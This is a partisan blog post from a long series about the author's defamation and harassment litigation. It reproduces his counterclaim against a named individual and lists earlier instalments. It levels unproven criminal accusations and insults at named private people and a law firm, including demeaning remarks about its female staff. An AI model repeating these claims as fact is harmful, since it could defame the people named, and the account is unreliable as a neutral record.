🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Richard will give a talk in Erlangen, Germany⦈ Seems like a large_room. █ * Google_"Hey_Hi"_(Slop)_Having_a_Stroke,_Thinks_I_am_Married_to_the Grandmother_of_My_Grandfather * Links_12/05/2026:_Data_Centres_Destroying_Neighbourhoods,_"Care_Workers Are_Saying_No_to_24-Hour_Workdays" ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⢰⣒⣒⣒⣒⡂⠀⢠⢂⡴⡀⠀⠀⡄⢰⠀⠀⢀⢰⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡖⢴⡤⠠⠠⣦⣴⡄⠠⣰⡤⢠⣠⡤⠠⢠⢠⠀⣀⠠⠀⡀⠄⢤⣴⣄⠄⠀⠀ ⠀⠀⠀⠀⢸⢸⡏⠉⠉⠉⠀⢀⢢⡹⠞⡵⠀⠀⡇⢸⠀⠀⢸⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣖⡄⢀⠀⢠⣤⣤⠄⠰⡀⡀⢤⠄⡀⡀⢤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢸⢘⣛⣛⣛⡋⢀⢮⣓⣓⣚⣒⣡⠀⡇⡸⡀⠀⢸⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠸⠸⠃⠀⠀⠀⠌⠣⠉⠉⠉⠙⠱⠃⠑⠕⣊⣙⡯⠗⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⡿⠿⠿⣿⣿⣿⣿⢿⡿⣿⢿⢿⡿⣿⡿⡿⠿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣭⣽⣦⣽⣭⣭⣵⣼⣽⣭⣼⣼⣿⣮⣤⣴⣽⣧⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢈⡃⠞⠍⡏⢩⠸⡯⢩⠉⠙⠭⠋⠩⠩⢫⢽⡷⢐⡍⠍⠆⠼⠨⠅⠫⠝⠉⡇⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⢿⢿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠻⣟⡿⢿⠻⠿⡿⢿⣿⠿⡿⠿⡿⢻⣿⠻⡟⡷⠶⢶⡶⠶⣶⡖⡖⠶⠶⠶⠶⢿⠿⣿⣿⣿⣿⣿⣿ ⣿⣬⣆⣽⣬⣬⣦⣬⣥⣭⣤⣹⣿⣥⣬⣤⣬⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣐⣘⣈⣘⣈⣀⣀⣘⣛⣀⣁⣁⣃⣉⣛⣘⣂⣂⣘⣐⣘⣀⣛⣃⣃⣁⣀⣁⣈⣘⣀⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠿⣿⡿⣿⣿⣿⢿⡿⣿⣿⠿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣧⣿⠴⣭⢽⣭⣬⣥⣼⣧⣯⠤⣤⣤⣬⣬⣽⣯⣭⣭⣿⡝⣽⣽⣼⣼⢿⡯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣃⣙⣛⣊⣃⣃⣀⣀⣚⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢤⠿⣤⢤⢤⣹⣬⣿⠿⣥⣦⡽⣤⡤⣤⣔⡾⣤⡥⢟⠯⣥⣤⢼⣭⣤⣯⡼⣽⣿⣿⣿⢿⣿⣿⡿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠭⣤⢼⢽⣽⣿⣬⣽⣬⣽⣼⣧⣤⣤⣤⣬⣤⣧⣥⣿⣬⣤⣠⣭⣵⣴⣬⣧⣤⣈⣿⣭⣿⣿⣿⣿⢼⢽⣭⣯⣦⡭⣽⣤⣥⣴⣿⣼⣼⣼⣽⣯⣤⣤⣿⣵⣭⣽⣭⣽⣬⣽⣤⣥⣬⣼⣼⣤⣭⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣴⣴⣯⣬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣥⣤⣯⣤⣤⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣛⠻⠿⡿⡿⣿⠿⣿⢿⡿⠿⣿⢛⢿⢿⡿⢿⠿⢿⢟⡿⡿⠿⠿⠿⢿⡿⠟⡟⠿⠿⠿⣿⣿⣿⣿⠿⡿⣿⡿⣿⣿⣿⣿⣿⣿⣿⠿⡿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⢿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠿⢶⡶⣿⠶⠖⡶⢷⢾⡷⣶⣞⡶⠶⠾⠿⣿⣶⣶⣶⣷⣶⣶⣶⣶⣾⣷⣶⣷⣾⣶⣶⣿⣿⣿⣿⠴⣥⡮⣥⣬⣤⣼⣬⣽⣦⣼⡤⢥⣿⣡⣽⣴⣤⣿⣤⣿⣬⣬⣬⣬⣿⣤⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣾⣷⣶⣷⣶⣾⣾⣾⣷⣷⣷⣾⣿⣶⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣘⣇⣆⣀⣃⣸⣂⣅⣇⣘⣿⣜⣻⣠⣰⣒⣀⣅⣃⣚⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣙⠟⢻⠛⠟⠛⠛⢟⠛⢻⡻⢛⣛⣿⡻⣛⣛⣟⣻⡻⣻⢫⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣻⣿⣩⣏⡉⣻⣉⣙⣛⣏⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢹⣝⣻⡛⠟⡟⢻⣻⡟⠻⣛⢛⡟⢻⠛⣿⠙⡛⢻⡛⢻⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣀⣿⣵⣽⣽⣍⣸⣧⣯⣹⣀⣉⣝⣩⣽⣍⣫⣶⣿⠭⠽⠽⠽⠻⠿⠽⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣷⣷⣾⣴⣷⣷⣾⣾⣷⣾⣾⣶⣶⣾⣶⣿⣾⣶⣾⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠠⠭⠈⠉⠍⠙⠭⠽⠿⠶⠩⠭⠭⠉⠋⠩⢽⣉⣉⡷⣿⣯⣉⣹⣾⣁⣟⣩⣹⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⢛⢿⣟⣛⣻⢻⢻⣻⢻⣿⣻⢻⣿⣟⢟⣿⢻⡻⢻⣿⠛⠛⡛⠟⣿⣿⡻⢻⣿⣿⣿⣿⣿⣿⣿⣾⣁⣯⣾⣾⣿⣽⣹⣰⣽⣽⣧⣊⣩⣏⣉⣁⣏⣁⣶⣼⣉⠉⣨⣽⣽⣭⣍⣉⠉⣏⣭⣾ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡗⣞⣗⣾⠲⠺⢚⣲⢺⣻⢺⣒⡞⢗⢗⣞⣖⣾⢚⣓⢗⢶⢳⣳⢳⣾⣾⣾⣿⣿⣿⣿⣿⣿⣿⣠⣉⣞⣚⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣒⣷⢲⣲⣞⠞⡾⣒⡚⠚⡞⣞⣒⡖⡓⢲⣛⣳⣟⠲⠲⡶⢲⡒⡒⣺⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⡿⡿⢿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣖⠶⠒⣲⣲⣲⢲⣶⣒⢖⣴⣲⣶⡐⢶⠲⡖⣆⣶⡒⠲⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣥⣷⣴⡿⣵⣧⣼⣷⣷⡿⣼⣾⣼⣶⣾⣾⣦⣼⣷⣧⣤⣧⣤⣬⣷⣵⣧⣶⣤⣤⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣴⣼⣷⣷⣴⣤⣴⣬⣮⣧⣵⣷⣦⣶⣦⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣟⣻⡽⡉⢹⡿⠿⠿⢻⠻⠿⢻⣿⢿⠻⢿⡿⡻⢿⢉⠟⡿⡿⠛⢛⢻⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⡿⢿⠿⠿⠿⠿⡿⠿⢿⢿⡿⠿⣿⢿⠿⠿⡿⣿⢿⢿⢿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⢙⢿⢿⡟⡿⠟⠿⡋⠙⠛⢿⢿⡟⣿⢿⠿⠿⢻⠹⢿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣶⣼⣴⣤⣤⣬⣦⣥⣼⣵⣮⣯⣿⣽⣭⣭⣭⣿⣽⣬⣬⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 2797 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/SLAPP_Censorship_Part_74_Out_of_200_The_Basis_of_My_Lawsuit_Aga.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/SLAPP_Censorship_Part_74_Out_of_200_The_Basis_of_My_Lawsuit_Aga.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ SLAPP Censorship - Part 74 Out of 200: The Basis of My Lawsuit Against Alex Graveley, Who Helps Garrett Stack the Docket in Another Continent⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Alex_Graveley_mugshot⦈_ As noted in the_previous_part, today we show the counterclaim, seeing that Garrett and Balabhadra_(Alex)_Graveley continue collaborating against me because they aren't getting their way and their_hired_guns hardly get any business anymore (the only active clients are from past years and they're very few). They seem to have made it a hobby to harass my wife and I - as they've done for well over 2 years already. It has gotten so absurd that I get sent threats_to_"shut_down"_my_"existence" - a serious matter which is still being deal with by British Police. They basically try to censor me and the subject of censorship is their business, so it's not hard to guess who's behind those threats. They_may_be_legally_liable_for_other_things_too,_with_potential_prison terms (of up to 2 years) because their reputation_laundering_efforts didn't go as well as they had hoped. They ended up working for men from Microsoft who spent time in jail for attacking_women. And it's not like they tolerate women either, judging by their_history_of_attacking_women_victims_who_cannot_afford legal_representation. As of this month, they're being sued by a woman [1, 2, 3] (Alla Yanpolsky). The law firm being sued by this woman is 100% dominated by men (the_women are merely assistants who 'lick stamps' and suck up to their masters; the exception to this left days after the Garrett trial, perhaps recognising what sort of incels she had served for a living). Shown below is my counterclaim_dated_July_2025 (claim against the Serial Strangler from Microsoft): =============================================================================== COUNTERCLAIM 1. 1.The Course of Conduct of Mr. Graveley amounts to harassment of the Defendant contrary to ss.1(1), 1(A), 3(1) and 3A(2) of the Protection from Harassment Act 1997.    2. 2.The Claimant will continue to harass the Defendant unless restrained by an  Order of the Court.    3. 3.As a result of the Claimant’s conduct the Defendant has been caused anxiety, alarm and distress.  Particulars of harassment 1. 1.This Claim was not brought for any genuine concern by the Claimant for any damage to his reputation, and herein the Defence is repeated. It was advanced not for legitimate reasons, but as a tactic to harass and to force the Defendant to settle the claims responded to above – claims that are of no actual merit. The Claim, Defence and Counterclaim (but not Reply and Defence to Counterclaim, which was sloppily prepared by Mr. Garrett’s legal team in a hurry and contained serious lies – signed with a statement of truth! - probably because they hoped I would settle a few days before the deadline), and Schedule of Harassment are annexed for the Garrett Case, which is extremely and obviously connected to this one. It is totally unacceptable conduct by the barrister and the law firm, which is under an advanced investigation by the SRA. The legal team is exactly the same in both cases, constituting not only a potentially conflicting overlap but also ethical breaches.    2. 2.The Defence, hitherto, has already set out the reasons - the coincidence that both use the same lawyer and barrister, as well as their personal connections, their professional connection, the timings since 2021 and so on.  3. 3.AND the Defendant claims  (1) Damages for harassment. (2) Interest pursuant to section 35A of the Senior Courts Act 1981 at such rate and for such period as the Court thinks fit. (3) An injunction to restrain the Claimant whether by himself, his servants or agents or otherwise howsoever from pursuing a course of conduct amounting to harassment of the Claimant contrary to sections 1, 1A, 3 and 3A of the Protection form Harassment Act 1997. (4) Further or other relief. (5) Costs.   A note on the sum: 1. 1.In the Garrett Case, the Defendants counterclaimed damages up to £25,000 each - the fee being £1,250 for each person (so £50,000 total; a lot more should have been put it, but the court fees are significant and Garrett lives in a forest in another continent, so enforcing that or any such ruling can be challenging).  Since there is a clear attack here in the Defendant's budget, in this case and other, although the counterclaim should be for a sum much higher the Defendant counterclaims damages £10,000, as per FEE0209 in https://assets.publishing.service.gov.uk/ media/67e692b58ac59d1882eaddbb/EX50A-civil-and-family-court- fees_April_25.pdf    2. 2.It should be stated clearly that the Defendant is entitled for much more for enduring an abusive lawsuit - even a pair of such lawsuits - for merely reporting correctly on crimes or arrest in the US. However, due to relatively low budget, a low "band" in the damages spectrum is chosen.    1. 1.It is unfair that by attacking my budget with a "twin" case - not just one single meritless case with many claims in it and hundreds of pages that overwhelm the recipient's lawyer (the fees associated with merely reading the material) - they limit the Defendant's ability to properly pursue compensation, set aside the difficulties associated with forcing them to pay (if they lose, as they inevitably should) when they are based in another continent.    2. 2.I also understand that when issuing a counterclaim there will be a fee, 5% up to £10,000. A claimant can counterclaim for a limit, possibly the limit of the claim or an arbitrary figure based upon a realistic estimate.  =============================================================================== When I put in this counterclaim they failed to put (or formulate) a defence and failed to meet a deadline set by a Judge only weeks earlier. Instead, they asked for more time. Later they lied, repeatedly, about the connection between Graveley and Garrett. When questioned under oath (at risk of perjurious statements) Garrett 'broke down' (after he swore on the Bible) and confessed he had spoken to Graveley about suing me. █ Previously: 2026- Microsofters'_SLAPP_Censorship_-_Part_1_Out_of_200:_Claim_No._KB-2024-001270_in 03-03 a_Nutshell 2026- Microsofters'_SLAPP_Censorship_-_Part_2_Out_of_200:_Detailed_Timeline_From_2012_ 03-04 (Attack_on_Reporters_That_Question_Restricted_Boot)_to_2024_(Lawsuit_Against Reporter_and_His_Wife_in_Another_Continent) 2026- Microsofters'_SLAPP_Censorship_-_Part_3_Out_of_200:_A_More_In-Depth_Breakdown 03-05 2026- Microsofters'_SLAPP_Censorship_-_Part_4_Out_of_200:_Rianne’s_Version_of_Events 03-06 and_Narrative 2026- Microsofters'_SLAPP_Censorship_-_Part_5_Out_of_200:_Clearly_Not_a_Security 03-07 Professional/Expert,_Only_Ever_Pretending_to_be_One 2026- Microsofters'_SLAPP_Censorship_-_Part_6_Out_of_200:_Intentionally_Misnaming 03-08 Women,_People_Who_Offered_to_Testify_That_They_Too_Had_Been_Subjected_to_Similar Abuse 2026- Microsofters'_SLAPP_Censorship_-_Part_7_Out_of_200:_Like_With_the_Serial 03-09 Strangler_From_Microsoft,_Misuse_of_UK-GDPR_to_Try_to_Hide_Embarrassing_Facts 2026- Microsofters'_SLAPP_Censorship_-_Part_8_Out_of_200:_Gross_Misuse_of_UKGDPR_to 03-10 Protect_the_Agenda_of_American_Back_Doors_(Mass_Surveillance) 2026- Microsofters'_SLAPP_Censorship_-_Part_9_Out_of_200:_5RB_Barrister_Does_Not_Even 03-11 Know_the_Name_of_His_Own_Client_(That_He_Was_Paid_Well_Over_$200,000_to_'Speak' or_'Cover'_for) 2026- Microsofters'_SLAPP_Censorship_-_Part_10_Out_of_200:_Showing_Public_Tweets_is 03-12 Not_a_Privacy_Violation,_But_This_Isn't_About_Justice,_It's_About_Censorship 2026- Microsofters'_SLAPP_Censorship_-_Part_11_Out_of_200:_Cannot_Censor_His_Spouse, 03-13 Accusations_Are_Repeated_Today 2026- Microsofters'_SLAPP_Censorship_-_Part_12_Out_of_200:_Months_Ahead_of_Serial 03-14 Strangler_From_Microsoft_Who_Helped_Double_the_Lawsuits_(Funded_by_Third Parties)_as_'Revenge'_for_Exposing_Crimes 2026- Microsofters'_SLAPP_Censorship_-_Part_13_Out_of_200:_Abuse_of_Process_to_Make 03-15 False_Accusations_of_UKGDPR_Violations 2026- Microsofters'_SLAPP_Censorship_-_Part_14_Out_of_200:_The_Abusive_Cases_of_the 03-16 Serial_Strangler_From_Microsoft_and_His_Litigation_Buddy_Garrett_Did_Cause "Serious_Harm" 2026- Microsofters'_SLAPP_Censorship_-_Part_14_Out_of_200:_Men_Who_Strangle_Women_(and 03-17 Worse)_Trying_to_Force_Us_to_Write_Public_Apologies_to_These_Men 2026- SLAPP_Censorship_-_Part_15_Out_of_200:_Background_and_Particulars_of_Truth 03-18 Regarding_Techrights_and_Tux_Machines 2026- SLAPP_Censorship_-_Part_16_Out_of_200:_Detailing_the_Actors_and_Explaining 03-19 Techrights'_Own_Internet_Relay_Chat_(IRC)_Network 2026- SLAPP_Censorship_-_Part_17_Out_of_200:_A_Long_Track_Record_of_Online_Abuse,_Then 03-20 Choosing_a_Low-Cost_Law_Firm_to_Muzzle_People_Who_Have_Illuminated_This_Abuse for_Over_a_Decade 2026- SLAPP_Censorship_-_Part_18_Out_of_200:_Third_Parties_Funding_Attacks_on_the 03-21 Messengers,_Lawsuits_Against_GAFAM-Critical_Voices_That_Uphold_Real_National Security 2026- SLAPP_Censorship_-_Part_19_Out_of_200:_They_Were_Ill-prepared_for_Tough 03-22 Questions_in_Cross-Examination 2026- SLAPP_Censorship_-_Part_20_Out_of_200:_All_Roads_Lead_to_Rome_and_to_GAFAM 03-23 Funding 2026- SLAPP_Censorship_-_Part_21_Out_of_200:_It's_About_Behaviour_Online,_Not_How_Much 03-24 Money_From_Shadowy_Third_Parties_Gets_Spent_on_Lawyers_and_Two_Barristers 2026- SLAPP_Censorship_-_Part_22_Out_of_200:_When_You_Complain_People_Impersonate_You 03-24 in_IRC_(But_You_Yourself_Impersonate_People_in_IRC_and_Lock_Them_Out_of_Their IRC_Handles) 2026- SLAPP_Censorship_-_Part_23_Out_of_200:_We_Were_Right_All_Along_(for_2_Years) 03-25 About_Third_Party_Funding_and_Willingness_to_'Break_the_Bank'_in_Pursuit_of "Revenge" 2026- SLAPP_Censorship_-_Part_24_Out_of_200:_The_Failed_Effort_by_Brett_Wilson_LLP_to 03-26 Strike_Out_My_Lawsuit_and_My_Wife's_Lawsuit_Against_Garrett_(the_Master_Allowed Our_Lawsuits_to_Proceed) 2026- SLAPP_Censorship_-_Part_25_Out_of_200:_That_Time_Matthew_J._Garrett_Got 03-27 Temporarily_Banned/Suspended_From_Twitter 2026- SLAPP_Censorship_-_Part_26_Out_of_200:_Asking_for_Documents_and_Information_You 03-28 Already_Have,_Even_Letters_and_E-mails_That_You_Yourself_Sent! 2026- SLAPP_Censorship_-_Part_27_Out_of_200:_Using_the_Tor_Network_to_Hide_From 03-29 Consequences 2026- SLAPP_Censorship_-_Part_28_Out_of_200:_Facing_Consequences_for_Impersonation_and 03-30 Worse 2026- SLAPP_Censorship_-_Part_29_Out_of_200:_Violent_Language_Won't_Go_Away_When_You 03-31 Use_It_in_Your_Site,_Blog,_and_Social_Control_Media 2026- SLAPP_Censorship_-_Part_30_Out_of_200:_The_Time_We_Reported_Abuse_to_Greater 04-01 Manchester_Police_(GMP)_and_It_Was_Escalated_to_Its_Cybercrime_Unit 2026- SLAPP_Censorship_-_Part_31_Out_of_200:_Speaking_About_20+_Years_of_Alleged 04-02 Harassment/Defamation_and_High-Profile_'Targets'_of_Garrett 2026- SLAPP_Censorship_-_Part_32_Out_of_200:_Garrett_Made_Spurious_Requests_(Later 04-03 Withdrawn)_the_Same_Week_Someone_He_Later_Spoke_to_by_E-mail_Sent_Threats_to_Our Webhost 2026- SLAPP_Censorship_-_Part_33_Out_of_200:_Garrett_Sued_by_My_Wife_and_I,_Then_His 04-03 Microsoft_Acquaintance_Files_Another_Lawsuit_and_Our_Webhost_Receives_Legal Threats_Too 2026- SLAPP_Censorship_-_Part_34_Out_of_200:_The_Necessity_of_Transparency, 04-04 Illuminating_Garrett's_and_Graveley's_'Tag-Team'_Act,_Misusing_the_British Docket_(From_Far_Away_in_America)_in_Efforts_to_Hide_Bad_Behaviour 2026- SLAPP_Censorship_-_Part_35_Out_of_200:_How_to_Make_~10,000_Pound_Sterling_ 04-05 (13,220.50_United_States_Dollars)_by_Copy-Pasting_and_Editing_10_Pages 2026- SLAPP_Censorship_-_Part_36_Out_of_200:_Claim_KB-2024-003529_in_a_Nutshell_ 04-06 (Microsoft_Employee_Does_Terrible_Things,_Then_Sues_the_Reporter_in_Another Continent) 2026- SLAPP_Censorship_-_Part_37_Out_of_200:_The_Correct_Suspicion_Garrett_and 04-07 Graveley_Were_Collaborating_in_Overseas_Litigation_Against_Critics 2026- SLAPP_Censorship_-_Part_38_Out_of_200:_Advertisement_or_£10,000+_Classified_Ad 04-08 in_the_Form_of_Court_Filing_in_Another_Continent 2026- SLAPP_Censorship_-_Part_39_Out_of_200:_Recycled_Text_for_Garrett_and_Graveley_ 04-08 (Buy_One,_Get_One_Free?) 2026- SLAPP_Censorship_-_Part_40_Out_of_200:_Putting_Forth_Frivolous_Claim_Only_a_Few 04-09 Days_Before_Running_Out_of_Time_(12_Months) 2026- SLAPP_Censorship_-_Part_41_Out_of_200:_More_Misuse_of_UK-GDPR_(for_US_Citizens), 04-10 More_Copy-Pasting_for_Garrett_and_Graveley,_Alleging_That_Publishing Unflattering_Information_is_a_'Privacy'_Issue 2026- SLAPP_Censorship_-_Part_42_Out_of_200:_Getting_the_Very_Basic_Technical_Concepts 04-10 Very_Wrong,_or_Where_Miscomprehension_Begets_"Plausible_Deniability" 2026- SLAPP_Censorship_-_Part_43_Out_of_200:_Garrett_and_Graveley_Particulars_of 04-11 Claims_Almost_Identical_and_5RB_Needs_to_Investigate_Its_Barristers_(Its Reputation_is_at_Stake) 2026- SLAPP_Censorship_-_Part_44_Out_of_200:_Garrett_and_Graveley_'Copypasta'_Sunday_ 04-12 (Copy-Paste,_Add_One_Word,_Change_'T'_to_'t') 2026- SLAPP_Censorship_-_Part_45_Out_of_200:_Garrett_and_Graveley_Cases_Inherently_the 04-13 Same,_Their_Legal_Team_Can_Barely_Even_Distinguish_(Full_Timeline) 2026- SLAPP_Censorship_-_Part_46_Out_of_200:_Alex_Graveley's_Attorney_Rick_Cofer_Did 04-14 Not_Deny_That_Graveley_Had_Strangled_Women;_He_Did,_However,_Pay_Local_Officials 2026- SLAPP_Censorship_-_Part_47_Out_of_200:_British_Courts_Are_Not_Censorship_Offices 04-14 for_Americans_Funded_by_Affluent_Third_Parties 2026- SLAPP_Censorship_-_Part_48_Out_of_200:_Brett_Wilson_LLP_and_5RB_Copy-Pasting 04-16 Bogus_Claims_for_Violent_Americans_(Microsoft)_Who_Tell_Women_to_Kill_Themselves 2026- SLAPP_Censorship_-_Part_49_Out_of_200:_Two_Americans,_One_Case,_Recycled_for_Low 04-17 Budget_at_Brett_Wilson_LLP_and_5RB_Barristers 2026- SLAPP_Censorship_-_Part_50_Out_of_200:_The_Time_Staff_of_Law_Firm_Burgess_Mee 04-18 Was_Showing_Up_in_Letters_Sent_for_a_Serial_Strangler_From_Microsoft 2026- SLAPP_Censorship_-_Part_51_Out_of_200:_On_Perjury_and_What_It_Means_to_Take 04-19 Third-Party_Funding_to_Attack_Reporter_and_His_Family_(in_Another_Continent) 2026- SLAPP_Censorship_-_Part_52_Out_of_200:_Phil_Golding_Appointed_Bar_Standards 04-20 Board_(BSB)_Chief,_Misogyny_Must_End 2026- SLAPP_Censorship_-_Part_53_Out_of_200:_The_Lying_Solicitor_of_Alex_Graveley_Left 04-21 Brett_Wilson_LLP_Only_Days_or_Few_Weeks_After_the_Garrett_Trial_(Attended_by Almost_Their_Entire_Office/Team) 2026- SLAPP_Censorship_-_Part_54_Out_of_200:_Alex-Matt/Automate_Twin_Cases,_Separated 04-22 at_Birth,_Drafted_by_Brett_Wilson_LLP_and_5RB 2026- SLAPP_Censorship_-_Part_55_Out_of_200:_Strangled_Women,_Charged_for 04-23 Strangulation,_Cannot_Find_a_Job_Now_(After_Microsoft) 2026- SLAPP_Censorship_-_Part_56_Out_of_200:_5RB_and_Brett_Wilson_LLP's_Copy-Paste 04-24 Machination_for_Garrett_and_Graveley 2026- SLAPP_Censorship_-_Part_57_Out_of_200:_5RB_and_Brett_Wilson_LLP_Made_the_Garrett 04-25 and_Graveley_Particulars_of_Claims_a_Lot_Like_Photocopies! 2026- SLAPP_Censorship_-_Part_58_Out_of_200:_5RB_and_Brett_Wilson_LLP_Helped_Garrett 04-26 and_Graveley_Make_Equivalent_of_GAFAM_NDAs_Superficially_'Enforceable'_in_the UK,_Using_Threats 2026- SLAPP_Censorship_-_Part_59_Out_of_200:_Mentioning_the_Fact_Alex_Graveley 04-27 Arrested_and_Charged_for_Strangulation_in_Texas_is_"Reckless"_and_"Malicious", According_to_His_'Hired_Guns'_in_London 2026- SLAPP_Censorship_-_Part_60_Out_of_200:_Talking_About_Corruption_at_Microsoft_and 04-28 